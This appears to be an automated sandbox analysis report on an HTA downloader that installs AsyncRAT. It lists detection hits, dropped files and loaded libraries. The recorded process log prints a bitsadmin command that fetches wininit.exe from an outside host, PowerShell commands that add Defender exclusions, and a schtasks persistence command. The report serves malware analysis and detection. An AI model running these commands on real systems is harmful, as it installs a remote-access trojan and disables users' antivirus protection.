Windows Analysis Report
downloader2.hta

Malicious sample detected (through community Yara rule)

System Summary

Source: 5.0.wininit.exe.3e0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.2.wininit.exe.27df820.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.2.wininit.exe.27df820.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000003.00000003.2432558607.000001BA6955B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000005.00000000.2434580556.00000000003E2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000003.00000003.2432595859.000001BA6955C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000003.00000003.2432558607.000001BA6951A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000005.00000002.3282808526.00000000027BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\BIT6DEB.tmp, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\wininit.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Code function: 5_2_00007FF848AE7272	5_2_00007FF848AE7272
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Code function: 5_2_00007FF848AE1719	5_2_00007FF848AE1719
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Code function: 5_2_00007FF848AE9B09	5_2_00007FF848AE9B09
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Code function: 5_2_00007FF848AE60C6	5_2_00007FF848AE60C6
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Code function: 5_2_00007FF848AE20F5	5_2_00007FF848AE20F5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FF848BB2E11	7_2_00007FF848BB2E11
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FF848BD2E11	12_2_00007FF848BD2E11
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 18_2_00007FF848B01719	18_2_00007FF848B01719
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 18_2_00007FF848B012F8	18_2_00007FF848B012F8
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 18_2_00007FF848B020F5	18_2_00007FF848B020F5
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 18_2_00007FF848B01038	18_2_00007FF848B01038
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 19_2_00007FF848AE1719	19_2_00007FF848AE1719
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 19_2_00007FF848AE12F8	19_2_00007FF848AE12F8
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 19_2_00007FF848AE20F5	19_2_00007FF848AE20F5
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 19_2_00007FF848AE1038	19_2_00007FF848AE1038

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: 5.0.wininit.exe.3e0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.2.wininit.exe.27df820.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.2.wininit.exe.27df820.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000003.00000003.2432558607.000001BA6955B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000005.00000000.2434580556.00000000003E2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000003.00000003.2432595859.000001BA6955C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000003.00000003.2432558607.000001BA6951A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000005.00000002.3282808526.00000000027BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Temp\BIT6DEB.tmp, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Roaming\wininit.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: BIT6DEB.tmp.3.dr, YkVOnCxniKkBgIh2gN6pw5h2FMLgVXKlnmyboGGhhp52kCEnTF5yxtfgYAnkHI4yTcVMQfxkKEn5AvfECo.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: BIT6DEB.tmp.3.dr, Uc46tMpW2xEMTIR4OAhEZNCcXyin0mKKsXm6twuQU38Vw8qF8o9BxAy57IPqiAKHuxCz7pqr8cKV4Ula05.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: BIT6DEB.tmp.3.dr, Uc46tMpW2xEMTIR4OAhEZNCcXyin0mKKsXm6twuQU38Vw8qF8o9BxAy57IPqiAKHuxCz7pqr8cKV4Ula05.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: wininit.exe.5.dr, YkVOnCxniKkBgIh2gN6pw5h2FMLgVXKlnmyboGGhhp52kCEnTF5yxtfgYAnkHI4yTcVMQfxkKEn5AvfECo.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: wininit.exe.5.dr, Uc46tMpW2xEMTIR4OAhEZNCcXyin0mKKsXm6twuQU38Vw8qF8o9BxAy57IPqiAKHuxCz7pqr8cKV4Ula05.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: wininit.exe.5.dr, Uc46tMpW2xEMTIR4OAhEZNCcXyin0mKKsXm6twuQU38Vw8qF8o9BxAy57IPqiAKHuxCz7pqr8cKV4Ula05.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.wininit.exe.27df820.0.raw.unpack, YkVOnCxniKkBgIh2gN6pw5h2FMLgVXKlnmyboGGhhp52kCEnTF5yxtfgYAnkHI4yTcVMQfxkKEn5AvfECo.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.wininit.exe.27df820.0.raw.unpack, Uc46tMpW2xEMTIR4OAhEZNCcXyin0mKKsXm6twuQU38Vw8qF8o9BxAy57IPqiAKHuxCz7pqr8cKV4Ula05.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.wininit.exe.27df820.0.raw.unpack, Uc46tMpW2xEMTIR4OAhEZNCcXyin0mKKsXm6twuQU38Vw8qF8o9BxAy57IPqiAKHuxCz7pqr8cKV4Ula05.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: wininit.exe.5.dr, tbuIlvTcGLkYNSengIBQYlrDZOdSkzFCt38xFZ4C3HUowPPqW.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: wininit.exe.5.dr, tbuIlvTcGLkYNSengIBQYlrDZOdSkzFCt38xFZ4C3HUowPPqW.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: BIT6DEB.tmp.3.dr, tbuIlvTcGLkYNSengIBQYlrDZOdSkzFCt38xFZ4C3HUowPPqW.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: BIT6DEB.tmp.3.dr, tbuIlvTcGLkYNSengIBQYlrDZOdSkzFCt38xFZ4C3HUowPPqW.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.wininit.exe.27df820.0.raw.unpack, tbuIlvTcGLkYNSengIBQYlrDZOdSkzFCt38xFZ4C3HUowPPqW.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 5.2.wininit.exe.27df820.0.raw.unpack, tbuIlvTcGLkYNSengIBQYlrDZOdSkzFCt38xFZ4C3HUowPPqW.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.evad.winHTA@24/27@3/4

Source: C:\Users\user\AppData\Local\Temp\wininit.exe

File created: C:\Users\user\AppData\Roaming\wininit.exe

Source: C:\Users\user\AppData\Roaming\wininit.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4760:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1684:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Mutant created: \Sessions\1\BaseNamedObjects\iNnOGzR9ec7oF0Vp
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6368:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3936:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5900:120:WilError_03

Source: C:\Windows\System32\svchost.exe

File created: C:\Users\user\AppData\Local\Temp\BIT6DEB.tmp

Source: C:\Windows\SysWOW64\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: downloader2.hta

ReversingLabs: Detection: 31%

Source: unknown	Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\downloader2.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\bitsadmin.exe "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://2k8u3.org/wininit.exe C:\Users\user\AppData\Local\Temp\wininit.exe
Source: C:\Windows\SysWOW64\bitsadmin.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Users\user\AppData\Local\Temp\wininit.exe "C:\Users\user\AppData\Local\Temp\wininit.exe"
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\wininit.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'wininit.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\wininit.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'wininit.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "wininit" /tr "C:\Users\user\AppData\Roaming\wininit.exe"
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\wininit.exe C:\Users\user\AppData\Roaming\wininit.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\wininit.exe "C:\Users\user\AppData\Roaming\wininit.exe"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\bitsadmin.exe "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://2k8u3.org/wininit.exe C:\Users\user\AppData\Local\Temp\wininit.exe	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Users\user\AppData\Local\Temp\wininit.exe "C:\Users\user\AppData\Local\Temp\wininit.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\wininit.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'wininit.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\wininit.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'wininit.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "wininit" /tr "C:\Users\user\AppData\Roaming\wininit.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\SysWOW64\bitsadmin.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\bitsadmin.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\bitsadmin.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\bitsadmin.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Section loaded: wbemcomn.dll	Jump to behavior
